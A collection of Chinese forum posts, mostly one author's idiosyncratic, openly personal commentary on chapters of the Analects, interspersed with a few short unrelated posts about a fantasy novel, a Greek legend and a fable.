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尧曰篇第二十前面讲“孔门八家”，现在我们再倒过来，讲一讲“八家称孔”。在《论语》的上半部，子罕第九讲孔子的“内”，乡党第十讲孔子的“外”。在下半部，子张十九是孔门的“内”，本篇则是孔门的“外”。孔门的内，是孔分八家，八家不同；孔门的外，则是八家称孔，共同指向。孔分八家，说明我们的道路不同；八家称孔，则说明我们的目的相同。 “条条大路通罗马”。在这句俗话中，条条大路是“孔分八家”，通罗马是“八家称孔”。我们的罗马是什么？是“三代之治”、是“大同社会”、是理想国。其具体表现形式，我们将在此一一表述。【原文】20.1尧曰：“咨！尔舜！天之历数在尔躬，允执其中。四海困穷，天禄永终。” 「译文」尧说：喂！你、舜！现在，天之历数在你身上了（现在你被选为领导了），你要坚持把握住公平的原则，不能有偏私，不可动摇。是“四海困穷”还是“天禄永终”就在于你自己，（从现在开始，我不管了。）【原文】20.2舜亦以命禹。曰：“予小子履敢用玄牡，敢昭告于皇皇后帝：有罪不敢赦，帝臣不蔽，简在帝心。朕躬有罪，无以万方；万方有罪，罪在朕躬。” 「译文」舜也以（这种方法）来任命禹，他说：我，做为一个不懂事的小子，因站在这个位置上，才敢用黑色的公牛作祭品来祭祀上天，才敢在天后天帝面前向天下昭告：“（我）自知有罪、也不敢请求赦免。但做为天帝的臣子、我没有任何的隐瞒，所有的事情上天都知道（万民也都看到）。我自己犯的罪、无非是没有领导好万民（百百姓）；万民有罪、应该怪在我的头上（因为我没管好）。” 我的理解（1-2）：尧舜禹三代之治，我们只取两段，因为我们的理想并不是完完全全回到古代，而只是希望取其“禅让”两字。尧厉害，但他的位子是他爸传的，所以我们不取；禹能干，但他传位给他儿子了，所以我们也不取。禅让也分主动和被动：主动是自己想传，被动是自己不想传却不得不传。我们先来看第一段：“咨！尔舜！天之历数在尔躬，允执其中。四海困穷，天禄永终。” 听说舜是尧的女婿，尧很喜欢他。这里，我们也能看出长辈传位于晚辈的欣喜之情：“嗯、你这个舜呀，以后就要看你的了，现在、要让你坐在这中间的位置上。” 同时，既有告诫也有祝愿：“这个位置有责任也有荣耀：如果四海困穷、万民受苦，即使不是你造成的，也是你的责任；而国泰民安是你永远的光荣……。” 在舜时，好象发了大水“四海困穷”，大禹治水有功，一步步走上了领导岗位…… 这时，舜不想传位给禹，却又不得不传，请看2段：“予小子履敢用玄牡，敢昭告于皇皇后帝”。联系来看，这两段都是“禅让告天之言”。我说尧主动，是因为尧告天的时候只谈舜、未谈自己。我说舜被动，则是因为舜只谈自己、未谈禹！ “予小子”、两个“敢”是自谦之词，但自谦得有点过了，无疑打地是“悲情牌”。 “履”则说明了舜的位置：站这儿时，舜还是最高领导，一旦走下去，他就不是了。有罪不敢赦，帝臣不蔽，简在帝心。 “发大水”是不是舜的过错？舜不承认，但人们 “责任追究”，把责任定在了舜的头上。这个责任舜没法推：再推就推到天帝的头上了。他还能说：“发大水不是我错，是天帝错，我们把天帝打倒，把他从位子上掀下去？”——这就是“有罪不敢赦” 但舜肯定要推：我这个人，从不在天帝面前瞒过什么，我真正犯了什么错，你上天应该知道！——帝臣不蔽，简在帝心。朕躬有罪，无以万方；万方有罪，罪在朕躬。舜再退一步，承认了自己的“领导责任”：我唯一犯的罪，就是没领导好老百姓；所以老百姓犯的罪，都应归罪到我的身上。自始至终，舜都是在洗脱自己，与“舜亦以命禹”毫无关系。《论语》说“舜亦以命禹”，舜命了没有？没有。从这儿我们可以看出，禅让不是舜说了算：不管舜怎么说，舜的祷告之时，就是舜的退位之日；祷告就是命禹。民心就是天心，民意重过君意。是否禅让，不是由领导说了算，这才是《论语》的三代之治。《论语》说君臣父子，我们再通过“父父子子”，阐述一下“禅让制”的意义。人总要死的，所以传承就变成一件很重要的工作。传承怎么传，无疑也是一个很棘手的问题。但任何朝代、任何家族、任何公司任何其他，传承环节都是一个最薄弱的环节，所以一定要重点说说。传承又分单传和多传，这儿，我们先说单传。薪尽火传，父母去世，子女要“三年不改父之道”，这里的不改，就是“不改父之臣与父之政”，努力保持传承的稳定。这是“子子之道”。《论语》里的父父之道则是禅让：是父亲尽可能在“父亲有能力、子女也有能力”的时候，把家业传给子女…… 父禅让、子不改，两点完成一点，我们就能传承得很好。可惜的是：两者可失其一，却往往导致两者皆失。父望“子不改”、子望“父禅让”，这是内斗的根源，也是“薪尽而火不传”的原因所在。我不举例，因为这样的例子实在太多。怎么避免？首推禅让，因为禅让在前，如果“禅让三年过后而父死”，那时就没有“父之臣与父之政”了，“改不改”也就失去意义…… 禅让其权在父，但如果仅靠父亲主动，那就未免太消极了。所以我们要设置一个定期的“祭”的制度，让作为父亲（最高领导）的人、定时定地，向天帝百姓报告工作。民心就是天心：如果子女们（百姓）觉得换人会更好，就可以在这时换别人上来…… 这，才是我们《论语》中的禅让制。本段（1-2），谈“大同社会”的“禅让体制”。

子张篇第十九道家《论语》之“子张十九” 孔子之后，一分为八；八家观点，各有不同。本章，我们简录几家的观点。在上章，我说过：《论语》是讲议（讲义），是原宪辅助曾参讲学，边讲边议的“讲议”！论语的地位是不是仅止于此？也不尽然。《文选·辨命论注》引《傅子》说： “仲尼之徒追论夫子之言，谓之《论语》。”这种说法有没有道理呢？让我们再看《先进》的18段： 11·18 柴也愚，参也鲁，师也辟，由也喭。上章说过，名是自称，18段四人称名，难道是他们一齐自称？在我看来，这不是自称，也不是对四个人称呼，而是称呼四派！想想“周公语鲁公”；想想《韩非子》的“子张之儒”。韩非子不属于儒家，所以称其派为“子张之儒”；如果他在孔门师派，自称本派肯定是“师”；如果他和我一样是“孔门参派”，在派内或许称其为“子张”，但其他场合肯定会称其为“师”！他称用字、自称以名。为显示差别，我们会敬称子张；为显示相同，我们则应说“这是我们孔门的师（派）”。 ——“门人相与辑而论纂，故谓之《论语》”。在我看来：《论语》为原宪所著，故自称宪；成书于“参派”，故称曾参为曾子，称本派为参；后被多家门人编辑流传，作为辅助教材使用，故称“柴、参、师、由”。在我看来：《论语》以孔子为子（老师）、以老子为老（老老师），直接继承了他们的思想基础，出于同类竞争的关系，导致除老孔直接著作之外，再无基本思想传之于世。恰恰是因为并合老孔，《论语》才会流传广泛！以语成论：用一句句零散的言语，构筑成完整的思想理论体系，这才是《论语》的本来面目。顺便说说颜回。 11·19 子曰：“回也其庶乎，屡空。赐不受命，而货殖焉，亿则屡中。” 颜回字子渊。在《论语》中，称颜回两处，皆经孔子之口；称颜渊者比比皆是，这是什么原因呢？上章说，“论语称赞颜回，有某种程度上的惺惺相惜”。上章又说，“原宪的地位与颜回相同，都是助师（辅助老师）。不同在于：颜回做孔子的助师，原宪做曾参的助师。” 相同的地位其实也意味着传承，意味着《论语》初稿于颜回、原宪成书、众人进述…… 当然，也可能（甚至多半）不是颜回初稿，只是原宪自诩。进述的人有哪些？想想在《论语》中姓和字合用的人——譬如闵子骞。原宪写《论语》，自称为宪，我讲论语，却不能称他为宪，而应敬称原思。如同原宪敬称颜渊…… 同样，闵子骞讲论语时，他应该用自称为“损”；其弟子转述他讲过的论语，就不能用“损”，而应改用敬称“闵子骞”……这样一来，论语就发生了改动，改成“闵子骞”了。所以，从称呼上，我们可以看出论语的变迁。时代不同，对称呼的要求也不尽相同。现代的我们，犯不着再拘泥于“姓、名、字”，只要简单了解一下就行。从“颜渊死、颜路请车”来看：颜氏一脉主张厚葬，且没有参加《论语》的编辑。原宪自诩得颜渊传承，颜渊是颜氏一脉，颜氏和《论语》又不对路，这里面的糊涂帐呀…… 颜渊一死，他的思想和身体就分家了：原宪认为思想重要，得到思想就意味着得到传承；颜氏认为身体比较重要，能够厚葬就意味着得到传承…… 这、像不像北京城里的孔子像？有些人呀，简单地立个偶像，就自称为嫡，却不知道《论语》恰恰反对“偶像崇拜”！越扯越远，还是回头，讲讲本章。孔子之后，一分为八；八家观点，各有不同。本章，我们简单摘录一下几家的观点。有几点要事先声明：1、《论语》摘录，是摘录有特色的几家，没特色的，如“柴也愚”（高柴没自己特色，只是简单重复）就不在摘录范围；2、特色的反面就是缺陷，如果不认为有缺陷，我们就把思想融合到《论语》里了，犯不着在这里特别指出，所以，这里是批评居多；3、我讲《论语》更在千年之后，没法系统地看各家之言，批评起来更是有失偏颇。告罪之后，展开批评。

孔子相信鬼神吗？问：敬鬼神而远之，从这话来说，孔子相信鬼神、而且敬鬼神..... 答：孔子对阳货，是不是也敬而远之？我们能不能说“孔子相信阳货、而且敬阳货”？

暗金巨龙怎么办过去谈判?碰到邪恶巨龙?投降苏海伦?

微子篇第十八《道家论语》微子篇第十八礼后有仁，规则之后便是信仰。里仁为美，在无道中，我们该怎样保持自己的信仰呢？【原文】 18.1 微子去之，箕子为之奴，比干谏而死。孔子曰：“殷有三仁焉。” 【译文】微子离开了纣王，箕子做了他的奴隶，比干因劝谏而被杀死。孔子说：“这是殷朝的三位仁人啊！” 我的理解（1）：前面说过：仁是一条路，路的终点是道。那么，我们的道又是什么？在先进十一的最后，我们说过：“所有的一切、都只是为了修身，为了让我们过上我们所追求的生活。” 我们的道是大道，是我们整体的道，不是某个人或某群人的道。这是我们与别人的区别。我们的道是现实道，是今生的道，不是来生道或天堂（仙佛）道。这是我们与别人的区别。有道则现，无道则隐。天下有道，有如《宪问》，我们的仁放出灿烂的光芒！天下无道，则如本段，我们的仁将以三种方式消亡：微子去之，仁者远离了无道；箕子为之奴，仁者为了求生将仁隐藏；比干谏而死，仁者为了仁而放弃生命…… 仁者之花，有离、有藏、有灭。而离、藏、灭恰恰是隐的三种方式！三种隐中，我们首选离、其次藏、其次灭…… 殷有仁、纣无道，“殷有三仁”只是曾经的有，其最终归结于无。再说一下“箕子为之奴”。与“患失”的“鄙夫”相似：箕子也隐藏了自己的理想。所不同的是：鄙夫患“失其得”，箕子患“失其身”。为生命而隐藏理想、无可厚非，因为生命一止、理想也就此消亡。但为所得而放弃理想，那就只能是鄙夫了。隐藏和放弃的区别在哪？请看这句话：“君子哉蘧伯玉！邦有道，则仕；邦无道，则可卷而怀之”。该放不放的理想不是理想；有道不仕的君子也不是君子…… 无道而仕呢？如果不能像阳货十七那样去做，多半就是“鄙夫”！

阳货篇第十七为政之后，再谈规则、谈无道中的规则。在无道之中，领导意志是最大的规则，所谓 “说你行你就行不行也行，说不行就不行行也不行”就是领导意志的最终体现。如果领导好，就是上一章的“侍于君子……”；如果领导不好，我们又该怎么办？《卫灵公》16段曾说“麻生蓬中，要想挺直，就要用艺，避免蓬的攀附”；《季氏》11段也说“行义以达其道”。…… 本章，就是重点谈艺（义）：谈怎样避免蓬自上而下的压迫；谈在领导叫你做坏事时、怎样能够既不做坏事又保护自己…… 至于怎样避免蓬自下而上的攀附、怎样避免自己在无意之中变成蓬，在上章都说过。

季氏篇第十六学而过后便是为政、修身之下就是齐家。邦无道、谷、耻也。在无道中，为政不是耻辱，为无道之政才是耻辱。不管你是迫于生活（谷），还是什么别的原因。本章谈：在无道之中，怎么为政，怎么为有道之政。

而立之人愉悦不？致：李花盛开666 @李花盛开666 君在http://tieba.baidu.com/f?ct=335675392&tn=baiduPostBrowser&sc=34416111636&z=2403954792#34416111636 的第18楼，你说道“我可以立了，我内心愉悦。” 对此，我表示不同意见而立之人悦不悦？我的回答是“不悦、忧” 任何一个人，如自命为君子，都应有“先天下之忧而忧、后天下之乐而乐”的胸怀。他们进亦忧，居庙堂之高则忧其民；退亦忧，处江湖之远则忧其君。孔子也忧，他忧什么我们可以从论语中找到..... 我们忧，并不代表我们愁眉苦脸，相反我们要微笑着面对。这就是子之晏居。所以，我微笑，我却并不愉悦。这是我的看法。

卫灵公篇第十五前面四章，分别谈到了“理想国”人们的为人、为政、立法、信仰。理想的为人，是将对错细细剥离，支持对的、反对错的；而不是一刀切，或成王败寇——支持成功的、反对失败的。理想的为政，是服务人民，而不是奴役人民。理想的立法，是民管君，而不是君管民。理想的信仰，是让民形成合力，成党成派介入立法，进而管君；而不是乱管一气。在十四的最后，我们说到：辟言、辟色无处不在，所以我们要从现在开始、从当下做起，为达到理想国而努力！本章开始，则是回到现实，谈——当下的我们该怎么做？

怎么克? 【原文】14.19 子言卫灵公之无道也，康子曰：“夫如是，奚而不丧？”孔子曰：“仲叔圉治宾客，祝鮀治宗庙，王孙贾治军旅，夫如是，奚其丧？” 孔子讲到卫灵公的无道，季康子说：“既然如此，为什么他没有败亡呢？”孔子说：“因为他有仲叔圉接待宾客，祝鮀管理宗庙祭祀，王孙贾统率军队，像这样，怎么会败亡呢？” 【原文】14.20 子曰：“其言之不怍，则为之也难。” 孔子说：“说话如果大言不惭，那么实现这些话就是很困难的了。” 【原文】14.21 陈成子弑简公。孔子沐浴而朝，告于哀公曰：“陈恒弑其君，请讨之。”公曰：“告夫三子。”孔子曰：“以吾从大夫之后，不敢不告也。君曰‘告夫三子’者。”之三子告，不可。孔子曰：“以吾从大夫之后，不敢不告也。” 陈成子杀了齐简公。孔子斋戒沐浴以后，随即上朝去见鲁哀公，报告说：“陈恒把他的君主杀了，请你出兵讨伐他。”哀公说：“你去报告那三位大夫吧。”孔子退朝后说：“因为我曾经做过大夫，所以不敢不来报告，君主却说‘你去告诉那三位大夫吧’！”孔子去向那三位大夫报告，但三位大夫不愿派兵讨伐，孔子又说：“因为我曾经做过大夫，所以不敢不来报告呀！” 我的理解（19-21）：前面说过，“如果没有当事者的认可、没有仁的信仰理念支持，那所有的礼都只是陋俗、那所有的节都只是束缚！” 子言卫灵公之无道，就是说卫灵公在不认可礼的同时，心中也没有仁！这时候，礼是陋俗、节是束缚！灵公无道，如果按礼，该“有道伐无道”（武王伐纣），可三个人呢，却“忠于无道”，无疑是个陋俗。灵公无道，如果无节，他想杀谁就能杀谁，可这三个人呢，灵公却杀不了、动不得，可称束缚！一个陋俗、束缚，却能维持其存在（奚其丧？），这其中是什么原因？俗话说“站着说话不腰疼”，你用前进的、发展的眼光，当然能指出灵公无道的种种问题。但是我问你，如果你在卫国，你该怎么办？ “其言之不怍，则为之也难。” 是的，礼节、规则的存在有其自身原因：从存在的观点看，它有存在的基础；从发展的观点看，它有历史的局限。我们不能因为其存在而对它惟命是从；更不能因为其局限而对其一票否决。问题是：在全面否定和惟命是从中，究竟该如何选择？回答是：就事论事，见招拆招。就一件事，民要“耻且格”；君要“克已复礼”；臣要“违不善”。 “其言之不怍，则为之也难。”——话，我回答得容易，但真正做起来、也是很难。做起来怎么难？我们来举个例子吧！陈成子弑简公，碰到这件事，该怎么办？讨！讨该怎么讨——是密切关注？是表示不满？是严正抗议？还是绝交（召回大使）？甚至是动用武力？怎么讨是方法，讨却是方向——无论如何，都要表示不满、站在陈成子的对立面。孔子站在陈成子的对立面；鲁国也该站在陈成子的对立面。但是，成人会有所顾忌，上位者更会权衡；——齐大鲁小，鲁国内部也是矛盾重重（有如病人），这么一站，弄不好讨字还没说出口，就被齐国一拳打倒了。如果哪位说，“我是正义的、就是死也要站出来。”这又是“其言之不怍。”了。 ——正义是方向，怎么正义则是方法。没有方法的方向、其实算不上什么方向。讨是方向，“沐浴而朝，告于”则是方法。子知不知道“不能讨伐”？知道；知道为什么告？这就是分寸了。想一想，当年美国炸我大使馆时，下面的（群众）群情纷涌、上面的（领导）一声不吭。其情其景，和此是不是相似？在我眼中，“从大夫之后”可能是个官名，把官从大往小排的话，大夫在前、从大夫在中、“从大夫之后”则排在最后。——当然，更可能不是官，是站在“从大夫”之后的“民意代表”。孔子“请讨之”；哀公踢皮球（告夫三子）；三子曰“不可” ；子曰“‘从大夫之后’不敢不告”。四句话一并列，我们就可以看出：孔子请讨时，他也并不认为“真的能讨”。他只是想通过“请讨”，给齐国增加压力。如果哀公够聪明，那一边要向齐国施加压力——民意汹涌、陈成子你弑简公后，最好要厚葬简公，以平鲁国民意……；一边要告诉群众——齐大鲁小，我们要“戒急用忍”，徐图讨伐；另外再找三子谈谈心——大国弑君、小国尚且民情纷涌，小国弑君、大国还不一口把你吃了…… 当然，如果哀公有此能力，那就不会“三家者，以雍彻”了。前面六段，谈“克什么”；这三段（19-21），谈“怎么克”； ——即使是“无道之礼”，我们也不能一举推翻，而只能一事一议，徐图改良，慢慢改进！

严厉谴责报复社会行为论语吧也是如此。

宪问篇第十四在讲本章之前，先谈谈本人论语的师承：在《述而》里，我说过，孔子的师承很远，他的老师是老子、老子的老师是彭祖、彭祖师从周公，——周公呢，他是文王的嫡传。很多人都不同意我的看法，譬如子贡之流。他们甚至说“论语不是我老师写的，而是大家一起编的”。哦，我都忘了告诉你我的老师是谁。——他是原宪原子思，是子贡们的同学。子贡们说：论语是他们为了记念而编的，编时没考虑次序…… 我真想不通：这样说来，子贡他们究竟是想记念孔子？还是想用一篇乱七八糟的论语、给孔子脸上抹黑？老师不让我争，他说：道不同不相为谋，他走他的阳光道，我走我的独木桥…… 老师是个谦虚的人，他虔诚地把他的老师称为子（孔子）、把老师的老师称为老（老子李耳）、再上称祖（彭祖）、再上称公（周公）……这是我们的“老祖公”。 “老祖公”传孔子、孔子传原思、原思往下传……这是我们这一支的流传谱系。论语早于何时，我不知道。论语是老师记的，是老师听孔子的话、听他同学的话而记的；而孔子又说“他的每句话都是老师（老子）传给他、而不是自己想的（述而不作）”；老子又是彭祖传的……唉！我说孔子师从于道家的老子，并不意味、孔子不是儒家。请你们也不要用“孔子是儒家，所以他不是道家”来批判我。孔子那么伟大的人，学贯中西都很正常，何况是区区儒道！你们这样批判简直是对孔子的…… 孔子于儒、是开创者；孔子与道，是发扬者：他扩展了老子的“反求诸己”，形成 “兼济天下”的大道！当然，我的老师也非常伟大，最起码，他编出了伟大的《论语》——甚至于各门各家，基本是我老师的师承、基本因论语而起…… 《泰伯》最后的“自尧以下，是谁在立言？”——说的就是《论语》，就是子思的立言！只是，孔子进取、原思深藏。到了原思这一代，我们又回到了“上善若水”的路线…… 以上，是未经老师同意而发表的“一家之见”，这是我的信仰！你们可以不同意，但请不要——试图改变！

关于闹吧先摘我的道家论语...... 【原文】14.28 子曰：“君子道者三，我无能焉：仁者不忧，知者不惑，勇者不惧。”子贡曰：“夫子自道也。” 孔子说：“君子之道有三个方面，我都未能做到：仁德的人不忧愁，聪明的人不迷惑，勇敢的人不畏惧。”子贡说：“这正是老师的自我表述啊！” 【原文】14.29 子贡方人。子曰：“赐也贤乎哉？夫我则不暇。” 子贡评论别人的短处。孔子说：“赐啊，你真的就那么贤良吗？我可没有闲工夫去评论别人。” 【原文】14.30 子曰：“不患人之不己知，患其不能也。” 孔子说：“不怕别人有能力而自己不知道，只怕他没有能力。” 我的理解（28-30）：最后，我们再来谈谈：为什么要克？君子道三，意思是我们要从三个方面提升自己：仁、知、勇。人无远虑、必有近忧，做为仁者，能不能既无远虑、也无近忧？智者千虑、必有一失，做为智者，能不能千虑千中、无有一失？临事而惧、好谋以成，做为勇者，能不能临事不惧、不谋就成？子曰：我无能焉。某些人，信仰某个神（君主），以它为头，自己不动脑袋，自然无忧。可我们的信仰无比远大，我们不能不用脑袋、不能不为此忧愁…… 某些人，有点小聪明就沾沾自喜，觉得什么都能搞定、不会迷惑。可我们总是信心不足，害怕那千分之一的错误可能…… 某些人，把无惧当成勇敢、奋勇争前。可我们以不争为宝、以临后为先…… “仁者不忧，知者不惑，勇者不惧”是一种境界，孔子的无能却超出了这种境界！由低到高，我们可将境界划分为：1、有所不能；2、知所不能；3、无所不能；4求所不能。用通俗语言，也可将它们分别理解为：1、不懂不问；2、不懂能问；3、懂就不问；4、精益求精（懂了还问）。孔子的无能并不是真的不懂，而是精益求精，也就是《泰伯》5段的“以能问于不能，以多问于寡”。 “他山之石，可以攻玉”，我们以能问于不能，就是为了让自己更好的能！孔子说无能，是为了求克、为了求别人帮他“寡其过”。他求来的是什么？一只百灵鸟。子贡急急表白：“夫子自道也。”——意思就是说“老师什么都懂，什么都会……” 道不同不相为谋，我不想评价子贡。但我不得不说：因为子贡，我耻于称儒…… 黄鹂鸟从不是我们的追求，我们宁愿做一只警醒世人的乌鸦…… 孔子为什么要求克？我们为什么要克人？克，是为了帮助别人提高，是为了让别人少犯错误。而不是为了通过指责别人的错，来反衬出自己的高尚（高明）。子贡方人，其目的恰恰相反。所以孔子曰：“赐也贤乎哉？夫我则不暇。” 有人说：孔子是大学教授，你们小学还没毕业，就想帮他提高，别扯了，还是老老实实听人话吧！还有人说：你们克人，十言九空，百无一是，说出来瞎丢人，还是藏拙吧！我们想不想听话，想不想藏拙？——想，但我们不敢！我们食君禄、跟君走。无论如何，也希望走的是一条向上的路！ “不患人之不己知，患其不能也。” 我们跟着领导走，领导有能力、我们不知道，不可怕。可怕的是领导没有能力，却假装有能力…… 盲人骑瞎马、夜半临深池。如果我们选择不克，就是选择闭上眼睛；我知道马不瞎，但是万一…… 如果你放弃选择，任由上帝赐与你幸福，那么当你遭遇不幸时，你也就无权抱怨上帝…… 我们为什么要克人，就是害怕他万一不能，进而给我们带来灾难。以上三段（28-30），谈 “为什么克”——为什么我们要人克、克与方人的区别、为什么我们要克人。

你认为那是心秤，我却把它视为命运！先说个传说：宙斯严令禁止众神帮助希腊人，独自来到伊达山。中午，宙斯用黄金天秤称双方的筹码，结果希腊人的一方倾斜到地面，而特洛伊人的一方向天空高举。

相濡与相忘相濡以沫，不如相忘江湖这句话我说的比较多，@梦开始的地方CD: 就叫我说说，说说就说说吧从哪开始呢，还是从一个故事“动物拉车”开始吧，＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿－梭子鱼、虾、天鹅三个不知什么时候成了好朋友。一天，他们同时发现路上有一辆车，车上有许多好吃的东西,于是就想把车子从路上拖下来，三个家伙一齐负起沉重的担子，他们都铆足了劲，身上青筋暴露，使出了平身的力气，可是，无论他们怎么拖呀、拉呀、推呀，小车还是在老地方，一点也没动。原来，天鹅使劲往天上提，虾一步步地向后倒退，梭子鱼又朝着池塘拉去，究竟谁对谁错？反正他们都使劲了。－－－－－－－－－－－－－－

李察不2和天下归心这几个章节，很让大家不爽，但仔细想想，情节的发展本该就是这样。再往深处去想，李的转变是从哪开始的呢？从与魔神一战开始！绿森的价值无比巨大，如果没有魔神，李尽可以平推。一开始李是如此，艾莉婕的想法也是如此.... 但魔神一来，李在实力上已无优势，他无法用力、只能取势。势是什么，是绿森的森林意志、是世界树、是守护精灵.... 谈判那一章，其实并不是真的谈判，而是告诉精灵“林海这么大，生命树可以很多，也可以很少。不过，世界树确实可以更多一些。” 绿森那唯一的世界树，反正已经得罪了，李却让别的生命树、看到了希望。李对精灵的守护，又何尝不是让别的精灵看到希望？三国之中，魏取力、吴取地、蜀取人心李在无法与魔神力敌的情况下，取人心无疑是上上之选。艾莉婕看不清，只是因为她没看到魔神。

颜渊篇第十二【本篇引语】上一章我们谈修身，本章再讲齐家。在此，让我们先想想与齐家有关的《为政》、《雍也》——以下摘自两篇的结尾。当官是《为政》的重点，具体分为：1、当官要做民选官、别做皇帝下派官；2、为什么要有官、为什么要当官。3-4、要齐之礼，并且给民以“格礼”的机会；5-9、怎样对上；10-11、对下；12-16、对事、17-18、对已；19-22、批判几种错误想法；23、说明一下，以上就是当官的礼（规则），且十世不易；24、再回到起点：没官谋官不应当、该当不当也不对。《雍也》则指出：1、为政的目的是大简，当官的终极是没官当（1）。2、对为政者的要求（2-6）。3、对当前为政的批判（7－9）。3、启发民智是良政的前提（10-13）。4、为什么要为政（14－17）。5、为政与礼、乐（18-23）。6、为政与仁（24-27）。7、以民为政、进而达仁的方法（28），同时与1相呼应。看过上两篇，我们再想想，本章会说些什么？

也谈入公门在我眼中，圣经非为基督说，而为羔羊说；佛经非为佛祖说，而为凡人说；论语也是如此.... 公门是孔子入的，但论语记载却非为孔子而记，而是为“先进于论语”的我们而记。首先，我们抄一下那段话：【原文】10.4 入公门，鞠躬如也，如不容。立不中门，行不履阈。过位，色勃如也，足躩如也，其言似不足者。摄齐升堂，鞠躬如也，屏气似不息者。出，降一等，逞颜色，怡怡如也。没阶，趋进，翼如也。复其位，踧踖如也。公门是哪个公门，论语没记，也不重要。因为孔子入任何的“公门”，都会这样。再想想，这样的公门有哪些呢？天子门、诸候门、大夫门、师门（老子门）、父兄门、尊长门......在这诸多的“门”中，哪些是公门，哪些不是？这里举个特例：我（假设）非常非常尊重原宪，如果我有机会到原宪家，算不算入公门？是不是非得高楼大厦才算公门？如果周天子落难，在茅草屋上挂一个“天子居”，算不算公门？

先进篇第十一【原文】11.1 子曰：“先进于礼乐，野人也；后进于礼乐，君子也。如用之，则吾从先进。” 【译文】孔子说：“上学期（早先、原来）跟我学习知识（礼乐）的人，都是本质很好、却什么都不懂的朴野之人；现在你们再跟我学时，都是懂得一定知识的君子了。但从我的角度来说，我更怀念上学期的你们。” 我的理解：本句为引语，也是论语下半部的开场白。我在这儿用先后两个字把话题引到了上学期，后面接着就是对上学期各人的学习情况进行总结。同时，本句也将下部与上部进行了分离：论语的上部简单，下部复杂；上部一看差不多就懂，下部则需要一步步推理；上部一般人就能学，下部只有君子能学…… 野人就是未启蒙的人。启蒙后不求上进的是小人，求上进的是君子。 “从于先进”就是说：所有下半部的推理，都是根据上半部而来…… 【原文】11.2 子曰：“从我于陈、蔡者，皆不及门也。” 【注释】陈、蔡：均为国名。不及门：门，这里指受教的场所。不及门，是说不在跟前受教。【译文】孔子说：“曾跟随我从陈国到蔡地去的学生，现在都不在我身边受教了。” 我的理解：本句是对本学期逃学学生的怀念：（上学期）听我讲课的学生，有很多没有来继续学习。【原文】11.3 德行：颜渊、闵子骞、冉伯牛、仲弓。言语：宰我、子贡。政事：冉有、季路。文学：子游、子夏。【译文】德行好的有：颜渊、闵子骞、冉伯牛、仲弓。善于辞令的有：宰我、子贡。擅长政事的有：冉有、季路。通晓文献知识的有：子游、子夏。我的理解：本句是对上学期的优秀学生进行表扬，这是整体表扬。【原文】11.4 子曰：“回也非助我者也，于吾言无所不说。” 【译文】孔子说：“颜回对我来说、不仅仅是帮助了，我上的课，他没有什么不能讲的。他呀、甚至能和我一样、当老师了。” 我的理解：本句是对颜回的单独表扬。【原文】【原文】11.5 子曰：“孝哉闵子骞！人不间于其父母昆弟之言。” 【译文】孔子说：“闵子骞真是孝顺呀！人们对于他的父母兄弟称赞他的话，没有什么异议。” 也可译为：孔子说：“孝、闵子骞做的很好，他对他的父母和兄弟都很好，人家说不出什么坏话来。” 我的理解：本句是对闵子骞的单独表扬。【原文】11.6 南容三复白圭，孔子以其兄之子妻之。【注释】白圭：白圭指《诗经·大雅·抑之》的诗句：“白圭之玷，尚可磨也，斯兰之玷，不可为也”意思是白玉上的污点还可以磨掉，我们言论中有毛病，就无法挽回了。这是告诫人们要谨慎自己的言语。【译文】南容反复诵读“白圭之玷，尚可磨也；斯言不玷，不可为也。”的诗句。孔子把侄女嫁给了他。我的理解：本句是对南容的单独表扬。【原文】11.7 季康子问：“弟子孰为好学？”孔子对曰：“有颜回者好学，不幸短命死矣，今也则亡。” 【译文】季康子问孔子：“你的学生中谁是好学的？”孔子回答说：“有一个叫颜回的学生很好学，不幸短命死了。现在再也没有像他那样的了。” 我的理解：以上七段（1-7）：1是承启，2-7是总结。在总结上学期得失的同时，也为本学期各位同学指明了努力的方向。

子路篇第十三子路篇第十三【本篇引语】为政后面，必谈规则。本章、又要谈哪些规则呢？请顺着本篇思考吧！【原文】13.1 子路问政。子曰：“先之劳之。”请益。曰：“无倦。” 【译文】子路问政事。孔子说：“做在前面，叫他们做。”子路请求多讲一点。孔子说：“不要懈怠。” 【原文】13.2 仲弓为季氏宰，问政。子曰：“先有司，赦小过，举贤才。”曰：“焉知贤才而举之？”曰：“举尔所知。尔所不知，人其舍诸？” 【译文】仲弓做了季氏的家臣，问怎样管理政事。孔子说：“先成立负责具体事务的部门，让他们各负其责；赦免他们的小过错，选拔贤才来任职。”仲弓又问：“怎样知道是贤才而把他们选拔出来呢？”孔子说：“选拔你所知道的，至于你不知道的贤才，别人难道还会埋没他们吗？” 【原文】13.3子路曰：“卫君待子为政，子将奚先？”子曰：“必也正名乎！”子路曰：“有是哉，子之迂也！奚其正？”子曰：“野哉，由也！君子于其所不知，盖阙如也。名不正则言不顺，言不顺则事不成，事不成则礼乐不兴，礼乐不兴则刑罚不中，刑罚不中，则民无所措手足。故君子名之必可言也，言之必可行也。君子于其言，无所苟而已矣。” 【译文】子路（对孔子）说：“卫国国君要您去治理国家，您打算先从哪些事情做起呢？”孔子说：“首先必须正名分。”子路说：“有这样做的吗？您想得太不合时宜了。这名怎么正呢？”孔子说：“仲由，真不懂事（野）啊。君子对于他所不知道的事情，总是采取存疑的态度。名分不正，说起话来就不顺当合理，说话不顺当合理，事情就办不成。事情办不成，礼乐也就不能兴盛。礼乐不能兴盛，刑罚的执行就不会得当。刑罚不得当，百姓就不知怎么办好。所以，君子一定要定下一个名分，必须能够说得明白，说出来一定能够行得通。君子对于自己的言行，是从不马马虎虎对待的。” 我的理解（1-3）：政和为政不同，类似法与执法不同。为政是行政、是执法，政则是法、是立法。上章谈执法（行政），在本章，我们则来谈立法。立法的本质是什么？是制定规则（法律），以及指定别人执行规则（执法），而立法者自己是不执法的。先之是什么？就是第2段“先有司，赦小过，举贤才。”；这都是立法者应该先做的事情。劳之、就是“劳”自己所举的那个贤才、就是劳那些“为政”之人。无倦的意思也简单，就是你这个立法者，不能指望一劳永逸、立一套法就算完事；而应该随时关注情况的变化；不停地先、不断地劳。 “先有司”表明：执法者（有司）的位子是通过立法予以规定的，立法设了这个司，你才能有这个司。“赦小过，举贤才”说明，立法对“有司”具有“免于追究（赦）”和“推举”的权力。“举尔所知”则更进一步告诉我们：官（在本章其实应称为吏）的位置哪里来？是立法部门通过“举尔所知”举起来的。注意一下，举和拔有区别，选举和选拔更是两回事。尔所不知，人其舍诸？——如果你不知道那个人能干这个位置，那你怎么知道人家想不想干？ 